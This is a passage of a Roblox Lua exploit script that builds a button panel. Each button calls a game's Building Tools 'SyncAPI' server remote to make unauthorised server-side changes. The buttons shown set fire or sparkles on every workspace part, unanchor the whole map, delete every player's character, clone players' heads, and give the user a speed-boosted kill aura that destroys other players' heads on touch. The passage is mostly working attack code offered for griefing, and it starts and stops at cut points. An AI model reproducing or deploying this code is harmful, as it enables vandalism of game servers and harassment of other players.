local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local player = game.Players.LocalPlayer
local char = player.Character
function xd()
spawn(function()
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Torso,
["Transparency"] = 1
},
[2] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Leg"),
["Transparency"] = 1
},
[3] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.HumanoidRootPart,
["Transparency"] = 1
},
[4] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Leg"),
["Transparency"] = 1
},
[5] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Right Arm"),
["Transparency"] = 1
},
[6] = {
["Part"] = game:GetService("Players").LocalPlayer.Character:FindFirstChild("Left Arm"),
["Transparency"] = 1
},
[7] = {
["Part"] = game:GetService("Players").LocalPlayer.Character.Head,
["Transparency"] = 1
},
}
}
_(args)
end)
end
function Thomas(player)
SetAnchor(true,char.HumanoidRootPart)
CreatePart(char.HumanoidRootPart.CFrame,char,"Normal")
SetCollision(char.Part,false)
SetLocked(char.Part,false)
Resize(char.Part,Vector3.new(5,5,10),char.HumanoidRootPart.CFrame)
CreateSpotlight(char.Part)
SyncLighting(char.Part,100)
SetLocked(char.HumanoidRootPart,false)
Weld(char.Part,char.HumanoidRootPart,char.Part)
SetAnchor(false,char.Part)
AddMesh(char.Part)
MeshResize(char.Part,Vector3.new(2,2,1.5))
SetMesh(char.Part,"2231280549")
SetTexture(char.Part,"2231280614")
SetAnchor(false,char.HumanoidRootPart)
char.Humanoid.WalkSpeed = 80
local function SFX(id) local s=Instance.new("Sound",char.Torso); s.SoundId = "rbxassetid://"..id; s.Volume = 1; return s; end
char.Part.Touched:connect(function(p)
if p.Parent then
if p.Parent:IsA("Model") then
if game.Players:FindFirstChild(p.Parent.Name) then
if p.Parent.Name ~= game.Players.LocalPlayer.Name then
spawn(function()
DestroyPart(game.Players:FindFirstChild(p.Parent.Name).Character.Head)
end)
local Whistle = SFX(475073913)
Whistle:Play()
end
end
end
end
end)
local Music = SFX(0)
Music.Pitch = 1.15
Music:Play()
game:GetService("RunService").RenderStepped:Connect(function()
for i,v in char:GetDescendants() do
if v:IsA("BasePart") then
char.Humanoid.WalkSpeed = 80
v.CanCollide = false
end
end
end)
end
Thomas(player)
xd()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.34, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Fire all"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.34, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Sparkle all"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function AddFire(part)
local args = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Sparkles"
}
}
}
_(args)
end
function FireParts()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
AddFire(v)
end)
end
end
FireParts()
local player = game.Players.LocalPlayer
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.34, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "unanchor"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.01, 0, 0.38, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Baseplate"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent,types)
local args = {
[1] = "CreatePart",
[2] = types,
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Material(part,mate)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Material"] = mate
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function toptexturecreate(part)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture"
}
}
}
_(args)
end
function toptextureadd(part)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = Enum.NormalId.Top,
["TextureType"] = "Texture",
["Texture"] = "rbxassetid://0",
["StudsPerTileV"] = 10,
["StudsPerTileU"] = 10
}
}
}
_(args)
end
hrpx = math.floor(char.HumanoidRootPart.CFrame.x)
hrpz = math.floor(char.HumanoidRootPart.CFrame.z)
hrpy = math.floor(char.HumanoidRootPart.CFrame.y)
function SpawnBasePlate()
CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn")
for i,v in game.Workspace:GetChildren() do
if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then
spawn(function()
Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz))
Color(v,Color3.fromRGB(0,0,0))
toptexturecreate(v)
toptextureadd(v)
while wait(1) do
pcall(function()SetLocked(v,true)end)
end
end)
end
end
end
SpawnBasePlate()
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.24, 0, 0.38, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Delete players"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function Punish(player)
char = player.Character
DestroyPart(char)
end
for i,v in game.Players:GetPlayers() do
--zzspawn(function()
pcall(function()
Punish(v)
end)
--end)
end
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.47, 0, 0.38, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "clone heads"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function ClonePart(part)
local args = {
[1] = "Clone",
[2] = {
[1] = part
},
[3] = workspace
}
_(args)
end
function clonehead(player)
char = player.Character
ClonePart(char.Head)
end
for i,v in game.Players:GetPlayers() do
--spawn(function()
pcall(function()
clonehead(v)
end)
--end)
end
end)
local scriptbyblue2spooky = Instance.new("TextButton")
scriptbyblue2spooky.Size = UDim2.new(0, 120, 0, 40)
scriptbyblue2spooky.Position = UDim2.new(0.7, 0, 0.38, 0)
scriptbyblue2spooky.BackgroundColor3 = Color3.new(0, 0, 0)
scriptbyblue2spooky.BorderSizePixel = 1
scriptbyblue2spooky.BorderColor3 = Color3.new(0, 0, 1)
scriptbyblue2spooky.Font = Enum.Font.Roboto
scriptbyblue2spooky.Text = "Duckify"
scriptbyblue2spooky.TextColor3 = Color3.new(1, 1, 1)
scriptbyblue2spooky.TextSize = 20
scriptbyblue2spooky.TextWrapped = true
scriptbyblue2spooky.Parent = mainFrame
scriptbyblue2spooky.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local chara = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = workspace.Part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
